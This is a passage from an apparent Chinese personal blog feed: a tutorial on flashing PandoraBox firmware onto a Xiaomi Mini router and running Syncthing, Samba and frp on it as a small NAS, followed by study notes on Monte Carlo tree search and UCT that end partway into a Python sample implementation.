<p><a href="http://downloads.openwrt.org.cn/PandoraBox/Xiaomi-Mini-R1CM/stable/">http://downloads.openwrt.org.cn/PandoraBox/Xiaomi-Mini-R1CM/stable/</a></p>
</blockquote>
<p>里面一个是r1024，一个是r512版本。按照网上博客的说法，r512集成了更多的包，r1024更加纯净。为了省事起见，我们选择刷入r512版本。</p>
<p>首先把固件用scp传入路由器的存储空间中。由于没有sftp，所以只能用scp。指令中的文件名、IP、路径均应按照实际情况进行调整。</p>
<blockquote>
<p><code>scp D:\pandorabox.bin root@192.168.31.1:/tmp</code></p>
</blockquote>
<p>然后刷入这个固件。</p>
<blockquote>
<p><code>mtd -r write /tmp/pandorabox.bin OS1</code></p>
</blockquote>
<p>命令行会有一个方括号里有w和e不断跳动。等待一段时间后固件会自动完成刷入。</p>
<p>刷机完成后，路由器的指示灯会变成很骚的基佬紫，这时候就可以连上一个开放的名字里有PandoraBox的WiFi了。连上路由器以后，管理页面IP在192.168.1.1，登录账户名为root，密码是admin。</p>
<h3 id="2-在pandorabox中设置无线中继">2. 在PandoraBox中设置无线中继</h3>
<p>无线中继的目的在于，使得这个路由器也变成一个无线客户端，毕竟学校里接网线并不方便。直接连接已有的WiFi获得网络再发射WiFi，让这个迷你NAS的便携性又上了一层楼。</p>
<p>设置方法可以直接参考这篇博客，写的非常全面：</p>
<blockquote>
<p><a href="https://blog.csdn.net/lvshaorong/article/details/53230545">https://blog.csdn.net/lvshaorong/article/details/53230545</a></p>
</blockquote>
<p>由于小米路由器是双频WiFi，所以可以采用混合方案三和方案五。</p>
<p>在设置的时候也碰到了一个很神奇的Bug(Feature)，2.4G和5G频段不管哪个关掉，都会导致整个路由器直接发不出信号。我本来打算是使用方案五，用2.4G的网卡接收信号，然后5G的发射。结果死活发射不了，必须也设置一个2.4G的信号发射才行。虽然强迫症有些不爽，不过也无大碍。</p>
<h3 id="3-各种骚操作">3. 各种骚操作</h3>
<ol>
<li>
<p>路由器关机</p>
<p>小米路由器mini并没有提供直接关机的方法，需要登入SSH，然后使用 <code>poweroff</code> 指令。</p>
<p>但是经过实际测试，该指令在小米路由器mini上不起作用。<code>poweroff</code>，<code>halt</code>，<code>reboot</code> 三个指令均为重启。在PandoraBox (OpenWrt) 上不存在 <code>shutdown</code> 指令。</p>
</li>
<li>
<p>更新源</p>
<p>PandoraBox提供了一个类似apt的包管理，叫做opkg。opkg的默认源都连不上，需要进行替换。以下的源测试可用，可以通过更新opkg.conf或者去路由器管理界面的软件包选项里进行更改。</p>





<pre tabindex="0"><code class="language-conf" data-lang="conf">dest root /
dest ram /tmp
lists_dir ext /var/opkg-lists
option overlay_root /overlay
src/gz r2_base http://downloads.openwrt.org.cn/PandoraBox/ralink/packages/base
src/gz r2_management http://downloads.openwrt.org.cn/PandoraBox/ralink/packages/management
src/gz r2_oldpackages http://downloads.openwrt.org.cn/PandoraBox/ralink/packages/oldpackages
src/gz r2_packages http://downloads.openwrt.org.cn/PandoraBox/ralink/packages/packages
src/gz r2_routing http://downloads.openwrt.org.cn/PandoraBox/ralink/packages/routing
src/gz r2_telephony http://downloads.openwrt.org.cn/PandoraBox/ralink/packages/telephony</code></pre><blockquote>
<p>来自 <a href="https://www.jianshu.com/p/e6be1279ddfe">https://www.jianshu.com/p/e6be1279ddfe</a></p>
</blockquote>
</li>
<li>
<p>开启sftp</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">opkg update
</span></span><span class="line"><span class="ln">2</span><span class="cl">opkg install openssh-sftp-server</span></span></code></pre></div><blockquote>
<p>来自 <a href="https://openwrt.org/docs/guide-user/services/nas/sftp.server">https://openwrt.org/docs/guide-user/services/nas/sftp.server</a></p>
</blockquote>
</li>
<li>
<p>win10上使用Samba</p>
<p>要在win10上跳桑巴（误），只需要在文件资源管理器里 <code>右键 -&gt; 添加一个网络位置</code> 就可以添加设置好的Samba服务器了。</p>
</li>
<li>
<p>安装Syncthing</p>
<p>首先自然是下载合适的安装包。小米路由器mini使用的是来自联发科的MT7620A处理器，应当下载mipsle的安装包，即文件名为syncthing-linux-mipsle-v版本号.tar.gz的安装包。下载地址如下：</p>
<blockquote>
<p><a href="https://github.com/syncthing/syncthing/releases">https://github.com/syncthing/syncthing/releases</a></p>
</blockquote>
<p>下载好，就可以把文件夹解压，把解压后的文件夹放入路由器的外置存储（U盘，移动硬盘之类）。例如我的硬盘挂载在/mnt/sda2，解压出来的文件夹命名为syncthing，那么现在Syncthing的可执行文件位置应当是 <code>/mnt/sda2/syncthing/syncthing</code> 。</p>
<p>进入syncthing文件夹，输入以下指令就可以运行Syncthing了：</p>
<blockquote>
<p><code>./syncthing -gui-address=&quot;0.0.0.0:8384&quot; -home=&quot;/mnt/sda2/syncthing&quot;</code></p>
</blockquote>
<p>gui-address是网页管理界面的地址。不设置的话默认是127.0.0.1，无法从外部访问。改成0.0.0.0就可以访问了。</p>
<p>home是软件设置的放置位置。如果不设置，将会占用不多路由器存储，所以最好设置成外部硬盘。</p>
<p>当看到 <code>Access the GUI via the following URL: http://127.0.0.1:8384/</code> 的时候，就说明已经可以通过网页访问管理页面了。如果需要后台运行，只要在命令结尾加上 <code>&gt;/dev/null &amp;</code>  即可，意思是重定向输出到无，并且后台运行。</p>
<p>到PandoraBox的网页管理界面 <code>系统 -&gt; 启动项</code> 中添加以上指令，即可实现开机启动。</p>
<p># Update：用这种方式自启动是利用rc.d中的自启动脚本来实现的。但是Pandorabox执行自启动脚本的时候，仿佛并没有把命令最后的&amp;符号认为是后台挂起，于是自启动脚本会一直在后台常驻不结束，造成下面的脚本无法正常运行。尝试了很久都没有找到两全的解决办法，也许是Pandorabox的bug吧，只能放弃自启动了。</p>
</li>
<li>
<p>安装frp做内网穿透</p>
<p>安装配置方法和正常Linux相同，只需要到Github的Release里下载对应的文件解压，按照文档配置即可。</p>
</li>
</ol>
<h2 id="改进">改进</h2>
<p>上述方案的设想非常好，然而出现了一个问题。小米路由器mini采用了联发科的MT7620A处理器，性能弱的一匹，只能完成基本的路由功能。Syncthing比我想象中的要吃性能，特别是需要同步的文件多了以后，进行初始扫描的代价非常高。我挂在Syncthing上大概有15G的文件，做一个全部扫描需要长达两个小时，而且和我的电脑保持显示未同步，估计路由器这头判定文件不同。虽然显示正在同步这15G的文件，但是也没有任何网络上的动静，不知道问题何在，大约是Syncthing的bug。运行Syncthing的时候整个路由器都被拖的非常卡顿，毕竟非常吃CPU和内存。</p>
<p>上述实践证明小米路由器mini的性能差，Syncthing稳定性差Bug多（毕竟是还在开发的开源软件）。于是原本的方案需要改变。目前准备改成以下方案：</p>
<ol>
<li>Syncthing只用于同步小文件。比如笔记等。</li>
<li>用frp转发LUCI管理界面，Syncthing管理界面，以及Samba服务。</li>
</ol>
<p>这样子的话，小米路由器mini就转变为了一个偏存储型轻同步型的文件服务器。之后再利用PandoraBox里现成的包配置下远程BT下载等服务，就可以美滋滋了。</p>
<p># Update：使用frp转发Samba服务的尝试初步失败。大约是不太行的吧…</p>
]]></content:encoded>
    </item>
    <item>
      <title>蒙特卡洛树学习笔记</title>
      <link>https://sttev.com/posts/04-mcts-notes/</link>
      <pubDate>Thu, 12 Apr 2018 22:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/04-mcts-notes/</guid>
      <description>&lt;h2 id=&#34;1-强化学习rl&#34;&gt;1. 强化学习（RL）&lt;/h2&gt;&#xA;&lt;h3 id=&#34;概念&#34;&gt;概念&lt;/h3&gt;&#xA;&lt;p&gt;​强化学习是机器学习中的一个领域，强调如何基于环境而行动，以取得最大化的预期利益。其灵感来源于心理学中的行为主义理论，即有机体如何在环境给予的奖励或惩罚的刺激下，逐步形成对刺激的预期，产生能获得最大利益的习惯性行为。这个方法具有普适性，因此在其他许多领域都有研究，例如博弈论、控制论、运筹学、信息论、仿真优化、多主体系统学习、群体智能、统计学以及遗传算法。在运筹学和控制理论研究的语境下，强化学习被称作“近似动态规划”（approximate dynamic programming，ADP）。在最优控制理论中也有研究这个问题，虽然大部分的研究是关于最优解的存在和特性，并非是学习或者近似方面。在经济学和博弈论中，强化学习被用来解释在有限理性的条件下如何出现平衡。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="1-强化学习rl">1. 强化学习（RL）</h2>
<h3 id="概念">概念</h3>
<p>​强化学习是机器学习中的一个领域，强调如何基于环境而行动，以取得最大化的预期利益。其灵感来源于心理学中的行为主义理论，即有机体如何在环境给予的奖励或惩罚的刺激下，逐步形成对刺激的预期，产生能获得最大利益的习惯性行为。这个方法具有普适性，因此在其他许多领域都有研究，例如博弈论、控制论、运筹学、信息论、仿真优化、多主体系统学习、群体智能、统计学以及遗传算法。在运筹学和控制理论研究的语境下，强化学习被称作“近似动态规划”（approximate dynamic programming，ADP）。在最优控制理论中也有研究这个问题，虽然大部分的研究是关于最优解的存在和特性，并非是学习或者近似方面。在经济学和博弈论中，强化学习被用来解释在有限理性的条件下如何出现平衡。</p>
<p>​在机器学习问题中，环境通常被规范为<strong>马尔可夫决策过程（MDP）</strong>，所以许多强化学习算法在这种情况下使用动态规划技巧。传统的技术和强化学习算法的主要区别是，后者不需要关于MDP的知识，而且针对无法找到确切方法的大规模MDP。</p>
<p>​强化学习和标准的监督式学习之间的区别在于，它<strong>并不需要出现正确的输入/输出对，也不需要精确校正次优化的行为</strong>。强化学习更加专注于在线规划，需要在探索（在未知的领域）和遵从（现有知识）之间找到平衡。强化学习中的“探索-遵从”的交换，在多臂老虎机（英语：multi-armed bandit）问题和有限MDP中研究得最多。</p>
<blockquote>
<p>引用自：<a href="https://zh.wikipedia.org/zh-hans/%E5%BC%BA%E5%8C%96%E5%AD%A6%E4%B9%A0">https://zh.wikipedia.org/zh-hans/强化学习</a></p>
</blockquote>
<h3 id="强化学习的基本组件">强化学习的基本组件</h3>
<ul>
<li>
<p>环境/状态（标准的为静态stationary，对应的non-stationary）</p>
</li>
<li>
<p>agent（与环境交互的对象）</p>
</li>
<li>
<p>动作（action space，环境下可行的动作集合，离散/连续）</p>
</li>
<li>
<p>反馈（回报，reward，正是有了反馈，RL才能迭代，才会学习到策略链）</p>
</li>
</ul>
<h2 id="2-马尔可夫决策过程mdp">2. 马尔可夫决策过程（MDP）</h2>
<h3 id="马尔可夫过程">马尔可夫过程</h3>
<p>​在概率论及统计学中，马尔可夫过程（Markov process）又叫马尔可夫链(Markov Chain)，是一个具备了马尔可夫性质的随机过程，因为俄国数学家安德雷·马尔可夫得名。马尔可夫过程是不具备记忆特质的（memorylessness）。换言之，马尔可夫过程的条件概率仅仅与系统的当前状态相关，而与它的过去历史或未来状态，都是独立、不相关的。马尔可夫过程可以用一个元组&lt;S,P&gt;表示，其中S是有限数量的状态集，P是状态转移概率矩阵。</p>
<h3 id="马尔可夫奖励过程">马尔可夫奖励过程</h3>
<p>​马尔可夫奖励过程（Markov Reward Process）在马尔可夫过程的基础上增加了奖励R和衰减系数γ：&lt;S,P,R,γ&gt;。R是一个奖励函数。S状态下的奖励是某一时刻(t)处在状态s下在下一个时刻(t+1)能获得的奖励期望（当进入某个状态会获得相应的奖励）。</p>
<h3 id="马尔可夫决策过程">马尔可夫决策过程</h3>
<p>​相较于马尔可夫奖励过程，马尔可夫决策过程（Markov Decision Process）多了一个行为集合A，它是这样的一个元组: &lt;S, A, P, R, γ&gt;。看起来很类似马尔可夫奖励过程，但这里的P和R都与具体的行为a对应，而不像马尔可夫奖励过程那样仅对应于某个状态，A表示的是有限的行为的集合。</p>
<h3 id="rl与mdp">RL与MDP</h3>
<p>​在强化学习中，马尔可夫决策过程是对完全可观测的环境进行描述的，也就是说观测到的状态内容完整地决定了决策的需要的特征。几乎所有的强化学习问题都可以转化为MDP。</p>
<blockquote>
<p>引用自：<a href="https://zh.wikipedia.org/zh-hans/%E9%A9%AC%E5%8F%AF%E5%A4%AB%E8%BF%87%E7%A8%8B">https://zh.wikipedia.org/zh-hans/马可夫过程</a> | <a href="https://zhuanlan.zhihu.com/p/28084942">https://zhuanlan.zhihu.com/p/28084942</a></p>
</blockquote>
<h2 id="3-蒙特卡洛方法mcm">3. 蒙特卡洛方法（MCM）</h2>
<h3 id="mcm简介">MCM简介</h3>
<p>​蒙特卡罗方法（Monte Carlo Method），也称统计模拟方法，是1940年代中期由于科学技术的发展和电子计算机的发明，而提出的一种以概率统计理论为指导的数值计算方法。是指使用随机数（或更常见的伪随机数）来解决很多计算问题的方法。</p>
<p>​20世纪40年代，在冯·诺伊曼，斯塔尼斯拉夫·乌拉姆和尼古拉斯·梅特罗波利斯在洛斯阿拉莫斯国家实验室为核武器计划工作时，发明了蒙特卡罗方法。因为乌拉姆的叔叔经常在摩纳哥的蒙特卡洛赌场输钱得名，而蒙特卡罗方法正是以概率为基础的方法。</p>
<p>通常蒙特卡罗方法可以粗略地分成两类：一类是所求解的问题本身具有内在的随机性，借助计算机的运算能力可以直接模拟这种随机的过程。例如在核物理研究中，分析中子在反应堆中的传输过程。中子与原子核作用受到量子力学规律的制约，人们只能知道它们相互作用发生的概率，却无法准确获得中子与原子核作用时的位置以及裂变产生的新中子的行进速率和方向。科学家依据其概率进行随机抽样得到裂变位置、速度和方向，这样模拟大量中子的行为后，经过统计就能获得中子传输的范围，作为反应堆设计的依据。</p>
<p>​另一种类型是所求解问题可以转化为某种随机分布的特征数，比如随机事件出现的概率，或者随机变量的期望值。通过随机抽样的方法，以随机事件出现的频率估计其概率，或者以抽样的数字特征估算随机变量的数字特征，并将其作为问题的解。这种方法多用于求解复杂的多维积分问题。</p>
<h3 id="一个例子">一个例子</h3>
<p>​使用蒙特卡罗方法估算π值。放置30000个随机点后，π的估算值与真实值相差0.07%。</p>
<p><img src="../MCTS.assets/Pi_30K.gif" alt="img"></p>
<blockquote>
<p>引用自：<a href="https://zh.wikipedia.org/zh-hans/%E8%92%99%E7%89%B9%E5%8D%A1%E7%BD%97%E6%96%B9%E6%B3%95">https://zh.wikipedia.org/zh-hans/蒙特卡罗方法</a></p>
</blockquote>
<h3 id="前景">前景</h3>
<p>​​就单纯的用蒙特卡洛方法来下棋（最早在1993年被提出，后在2001被再次提出），我们可以简单的用随机比赛的方式来评价某一步落子。从需要评价的那一步开始，双方随机落子，直到一局比赛结束。为了保证结果的准确性，这样的随机对局通常需要进行上万盘，记录下每一盘的结果，最后取这些结果的平均，就能得到某一步棋的评价。最后要做的就是取评价最高的一步落子作为接下来的落子。也就是说为了决定一步落子就需要程序自己进行上万局的随机对局，这对随机对局的速度也提出了一定的要求。和使用了大量围棋知识的传统方法相比，这种方法的好处显而易见，就是几乎不需要围棋的专业知识，只需通过大量的随机对局就能估计出一步棋的价值。再加上一些优化方法，基于纯蒙特卡洛方法的围棋程序已经能够匹敌最强的传统围棋程序。</p>
<p>​​既然蒙特卡洛的路似乎充满着光明，我们就应该沿着这条路继续前行。MCTS也就是将以上想法融入到树搜索中，利用树结构来更加高效的进行节点值的更新和选择。</p>
<blockquote>
<p>引用自：<a href="https://blog.csdn.net/natsu1211/article/details/50986810">https://blog.csdn.net/natsu1211/article/details/50986810</a></p>
</blockquote>
<h2 id="4-蒙特卡洛树搜索mcts">4. 蒙特卡洛树搜索（MCTS）</h2>
<h3 id="mcts简介">MCTS简介</h3>
<p>​​蒙特卡洛树搜索（Monte Carlo tree search；MCTS）是一种用于某些决策过程的启发式搜索算法，最引人注目的是在游戏中的使用。一个主要例子是电脑围棋程序，它也用于其他棋盘游戏、即时电子游戏以及不确定性游戏。</p>
<blockquote>
<p>引用自：<a href="https://zh.wikipedia.org/zh-hans/%E8%92%99%E7%89%B9%E5%8D%A1%E6%B4%9B%E6%A0%91%E6%90%9C%E7%B4%A2">https://zh.wikipedia.org/zh-hans/蒙特卡洛树搜索</a></p>
</blockquote>
<h3 id="搜索步骤">搜索步骤</h3>
<h4 id="解释一">解释一</h4>
<ul>
<li>
<p>选举(selection)是根据当前获得所有子步骤的统计结果，选择一个最优的子步骤。</p>
</li>
<li>
<p>扩展(expansion)在当前获得的统计结果不足以计算出下一个步骤时，随机选择一个子步骤。</p>
</li>
<li>
<p>模拟(simulation)模拟游戏，进入下一步。</p>
</li>
<li>
<p>反向传播(Back-Propagation)根据游戏结束的结果，计算对应路径上统计记录的值。</p>
</li>
</ul>
<blockquote>
<p>引用自：<a href="https://www.cnblogs.com/steven-yang/p/5993205.html">https://www.cnblogs.com/steven-yang/p/5993205.html</a></p>
</blockquote>
<h4 id="解释二">解释二</h4>
<ul>
<li>
<p>选择（Selection）：从根结点R开始，选择连续的子结点向下至叶子结点L。后面给出了一种选择子结点的方法，让游戏树向最优的方向扩展，这是蒙特卡洛树搜索的精要所在。</p>
</li>
<li>
<p>扩展（Expansion）：除非任意一方的输赢使得游戏在L结束，否则创建一个或多个子结点并选取其中一个结点C。</p>
</li>
<li>
<p>仿真（Simulation）：在从结点C开始，用随机策略进行游戏，又称为playout或者rollout。</p>
</li>
<li>
<p>反向传播（Backpropagation）：使用随机游戏的结果，更新从C到R的路径上的结点信息。</p>
</li>
</ul>
<p><img src="../MCTS.assets/MCTS_(English).svg" alt="img"></p>
<blockquote>
<p>引用自：<a href="https://zh.wikipedia.org/zh-hans/%E8%92%99%E7%89%B9%E5%8D%A1%E6%B4%9B%E6%A0%91%E6%90%9C%E7%B4%A2">https://zh.wikipedia.org/zh-hans/蒙特卡洛树搜索</a></p>
</blockquote>
<h4 id="图解">图解</h4>
<p><img src="../MCTS.assets/steps.svg" alt="img"></p>
<blockquote>
<p>引用自：<a href="https://www.cnblogs.com/steven-yang/p/5993205.html">https://www.cnblogs.com/steven-yang/p/5993205.html</a></p>
</blockquote>
<h3 id="详细算法">详细算法</h3>
<p>在开始阶段，搜索树只有一个节点，也就是我们需要决策的局面。</p>
<p>搜索树中的每一个节点包含了三个基本信息：代表的局面，被访问的次数，累计评分。</p>
<ol>
<li>
<p><strong>选择(Selection)</strong></p>
<p>​在选择阶段，需要从根节点，也就是要做决策的局面R出发向下选择出一个最急迫需要被拓展的节点N，局面R是是每一次迭代中第一个被检查的节点；</p>
<p>对于被检查的局面而言，他可能有三种可能：</p>
<ol>
<li>该节点所有可行动作都已经被拓展过</li>
<li>该节点有可行动作还未被拓展过</li>
<li>这个节点游戏已经结束了(例如已经连成五子的五子棋局面)</li>
</ol>
<p>对于这三种可能：</p>
<ol>
<li>如果所有可行动作都已经被拓展过了，那么我们将使用UCB公式计算该节点所有子节点的UCB值，并找到值最大的一个子节点继续检查。反复向下迭代。</li>
<li>如果被检查的局面依然存在没有被拓展的子节点(例如说某节点有20个可行动作，但是在搜索树中才创建了19个子节点)，那么我们认为这个节点就是本次迭代的的目标节点N，并找出N还未被拓展的动作A。执行步骤[2]</li>
<li>如果被检查到的节点是一个游戏已经结束的节点。那么从该节点直接执行步骤[4]。</li>
</ol>
<p>每一个被检查的节点的被访问次数在这个阶段都会自增。</p>
<p>在反复的迭代之后，我们将在搜索树的底端找到一个节点，来继续后面的步骤。</p>
</li>
<li>
<p><strong>拓展(Expansion)</strong></p>
<p>在选择阶段结束时候，我们查找到了一个最迫切被拓展的节点N，以及他一个尚未拓展的动作A。在搜索树中创建一个新的节点$N_n$作为N的一个新子节点。$N_n$的局面就是节点N在执行了动作A之后的局面。</p>
</li>
<li>
<p><strong>模拟(Simulation)</strong></p>
<p>为了让$N_n$得到一个初始的评分。我们从$N_n$开始，让游戏随机进行，直到得到一个游戏结局，这个结局将作为$N_n$的初始评分。一般使用胜利/失败来作为评分，只有1或者0。</p>
</li>
<li>
<p><strong>反向传播(Backpropagation)</strong></p>
<p>在$N_n$的模拟结束之后，它的父节点N以及从根节点到N的路径上的所有节点都会根据本次模拟的结果来添加自己的累计评分。如果在[1]的选择中直接发现了一个游戏结局的话，根据该结局来更新评分。</p>
<p>每一次迭代都会拓展搜索树，随着迭代次数的增加，搜索树的规模也不断增加。当到了一定的迭代次数或者时间之后结束，选择根节点下最好的子节点作为本次决策的结果。</p>
</li>
</ol>
<blockquote>
<p>引用自：<a href="https://www.zhihu.com/question/39916945/answer/83799720">https://www.zhihu.com/question/39916945/answer/83799720</a></p>
<p>另可参考：<a href="https://jeffbradberry.com/posts/2015/09/intro-to-monte-carlo-tree-search/">https://jeffbradberry.com/posts/2015/09/intro-to-monte-carlo-tree-search/</a></p>
</blockquote>
<h3 id="算法伪代码">算法伪代码</h3>
<p><img src="../MCTS.assets/20160324203610936.jpg" alt="img"></p>
<blockquote>
<p>引用自：<a href="https://blog.csdn.net/dinosoft/article/details/50893291">https://blog.csdn.net/dinosoft/article/details/50893291</a></p>
</blockquote>
<p><img src="../MCTS.assets/20140528192717515.png" alt="img"></p>
<blockquote>
<p>引用自：<a href="https://blog.csdn.net/u014397729/article/details/27366363">https://blog.csdn.net/u014397729/article/details/27366363</a></p>
</blockquote>
<h2 id="5-上限置信区间算法uct">5. 上限置信区间算法（UCT）</h2>
<h3 id="ucb1">UCB1</h3>
$$\frac{w_i}{n_i}+c \sqrt{ \frac{ln\ t}{n_i} }$$<p>在该式中：</p>
<ul>
<li>$w_{i}$ 代表第 $i$ 次移动后取胜的次数；</li>
<li>$n_i$ 代表第 $i$ 次移动后仿真的次数；</li>
<li>$c$ 为探索参数—理论上等于 $\sqrt {2}$；在实际中通常可凭经验选择；</li>
<li>$t$ 代表仿真总次数，等于所有 $n_i$ 的和。</li>
</ul>
<blockquote>
<p>引用自：<a href="https://zh.wikipedia.org/zh-hans/%E8%92%99%E7%89%B9%E5%8D%A1%E6%B4%9B%E6%A0%91%E6%90%9C%E7%B4%A2">https://zh.wikipedia.org/zh-hans/蒙特卡洛树搜索</a></p>
</blockquote>
<p>其中，C越大，就会越照顾访问次数相对较少的子节点。</p>
<blockquote>
<p>引用自：<a href="https://zhuanlan.zhihu.com/p/25345778">https://zhuanlan.zhihu.com/p/25345778</a></p>
</blockquote>
<h3 id="uct介绍">UCT介绍</h3>
<p>​​UCT 算法（Upper Confidence Bound Apply to Tree）即上限置信区间算法，是一种博弈树搜索算法，该算法将蒙特卡洛树搜索方法与UCB公式结合，在超大规模博弈树的搜索过程中相对于传统的搜索算法有着时间和空间方面的优势。</p>
<p>即：MCTS + UCB1 = UCT</p>
<blockquote>
<p>引用自：<a href="https://baike.baidu.com/item/UCT%E7%AE%97%E6%B3%95">https://baike.baidu.com/item/UCT算法</a></p>
</blockquote>
<p>算法中的 UCB 公式可替换为：UCB1-tuned 等</p>
<blockquote>
<p>引用自：<a href="https://blog.csdn.net/xbinworld/article/details/79372777">https://blog.csdn.net/xbinworld/article/details/79372777</a></p>
</blockquote>
<h3 id="优点">优点</h3>
<p>MCTS 提供了比传统树搜索更好的方法。</p>
<ul>
<li>
<p>Aheuristic 启发式</p>
<p>MCTS 不要求任何关于给定的领域策略或者具体实践知识来做出合理的决策。这个算法可以在没有任何关于博弈游戏除基本规则外的知识的情况下进行有效工作；这意味着一个简单的MCTS 实现可以重用在很多的博弈游戏中，只需要进行微小的调整，所以这也使得 MCTS 是对于一般的博弈游戏的很好的方法。</p>
</li>
<li>
<p>Asymmetric 非对称</p>
<p>MCTS 执行一种非对称的树的适应搜索空间拓扑结构的增长。这个算法会更频繁地访问更加有趣的节点，并聚焦其搜索时间在更加相关的树的部分。这使得 MCTS 更加适合那些有着更大的分支因子的博弈游戏，比如说 19X19 的围棋。这么大的组合空间会给标准的基于深度或者宽度的搜索方法带来问题，所以MCTS 的适应性说明它（最终）可以找到那些更加优化的行动，并将搜索的工作聚焦在这些部分。</p>
</li>
<li>
<p>任何时间</p>
<p>算法可以在任何时间终止，并返回当前最有的估计。当前构造出来的搜索树可以被丢弃或者供后续重用。（对比dfs暴力搜索）</p>
</li>
<li>
<p>简洁</p>
<p>算法实现非常方便（ <a href="http://mcts.ai/code/python.html">http://mcts.ai/code/python.html</a> ）</p>
</li>
</ul>
<blockquote>
<p>引用自：<a href="https://www.jianshu.com/p/d011baff6b64">https://www.jianshu.com/p/d011baff6b64</a></p>
</blockquote>
<h3 id="缺点">缺点</h3>
<p>MCTS 有缺点很少，但这些缺点也可能是非常关键的影响因素。</p>
<ul>
<li>
<p>行为能力</p>
<p>MCTS 算法，根据其基本形式，在某些甚至不是很大的博弈游戏中在可承受的时间内也不能够找到最好的行动方式。这基本上是由于组合步的空间的全部大小所致，关键节点并不能够访问足够多的次数来给出合理的估计。</p>
</li>
<li>
<p>速度</p>
<p>MCTS 搜索可能需要足够多的迭代才能收敛到一个很好的解上，这也是更加一般的难以优化的应用上的问题。例如，最佳的围棋程序可能需要百万次的交战和领域最佳和强化才能得到专家级的行动方案，而最有的GGP 实现对更加复杂的博弈游戏可能也就只要每秒钟数十次（领域无关的）交战。对可承受的行动时间，这样的GGP 可能很少有时间访问到每个合理的行动，所以这样的情形也不大可能出现表现非常好的搜索。</p>
</li>
</ul>
<blockquote>
<p>引用自：<a href="https://www.jianshu.com/p/d011baff6b64">https://www.jianshu.com/p/d011baff6b64</a></p>
</blockquote>
<h2 id="6-详细示例代码">6. 详细示例代码</h2>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Python" data-lang="Python"><span class="line"><span class="ln">  1</span><span class="cl"><span class="c1"># This is a very simple implementation of the UCT Monte Carlo Tree Search algorithm in Python 2.7 (convert to Python3).</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="c1"># The function UCT(rootstate, itermax, verbose = False) is towards the bottom of the code.</span>
</span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="c1"># It aims to have the clearest and simplest possible code, and for the sake of clarity, the code</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="c1"># is orders of magnitude less efficient than it could be made, particularly by using a </span>
</span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="c1"># state.GetRandomMove() or state.DoRandomRollout() function.</span>
</span></span><span class="line"><span class="ln">  6</span><span class="cl"><span class="c1"># </span>
</span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="c1"># Example GameState classes for Nim, OXO and Othello are included to give some idea of how you</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl"><span class="c1"># can write your own GameState use UCT in your 2-player game. Change the game to be played in </span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="c1"># the UCTPlayGame() function at the bottom of the code.</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl"><span class="c1"># </span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl"><span class="c1"># Written by Peter Cowling, Ed Powley, Daniel Whitehouse (University of York, UK) September 2012.</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl"><span class="c1"># </span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl"><span class="c1"># Licence is granted to freely use and distribute for any sensible/legal purpose so long as this comment</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl"><span class="c1"># remains in any distributed code.</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl"><span class="c1"># </span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl"><span class="c1"># For more information about Monte Carlo Tree Search check out our web site at www.mcts.ai</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">
</span></span><span class="line"><span class="ln"> 18</span><span class="cl"><span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">
</span></span><span class="line"><span class="ln"> 22</span><span class="cl"><span class="k">class</span> <span class="nc">GameState</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">    <span class="s2">&#34;&#34;&#34; A state of the game, i.e. the game board. These are the only functions which are
</span></span></span><span class="line"><span class="ln"> 24</span><span class="cl"><span class="s2">        absolutely necessary to implement UCT in any 2-player complete information deterministic 
</span></span></span><span class="line"><span class="ln"> 25</span><span class="cl"><span class="s2">        zero-sum game, although they can be enhanced and made quicker, for example by using a 
</span></span></span><span class="line"><span class="ln"> 26</span><span class="cl"><span class="s2">        GetRandomMove() function to generate a random move during rollout.
</span></span></span><span class="line"><span class="ln"> 27</span><span class="cl"><span class="s2">        By convention the players are numbered 1 and 2.
</span></span></span><span class="line"><span class="ln"> 28</span><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="mi">2</span>  <span class="c1"># At the root pretend the player just moved is player 2 - player 1 has the first move</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">    <span class="k">def</span> <span class="nf">Clone</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Create a deep clone of this game state.
</span></span></span><span class="line"><span class="ln"> 35</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">        <span class="n">st</span> <span class="o">=</span> <span class="n">GameState</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">        <span class="n">st</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
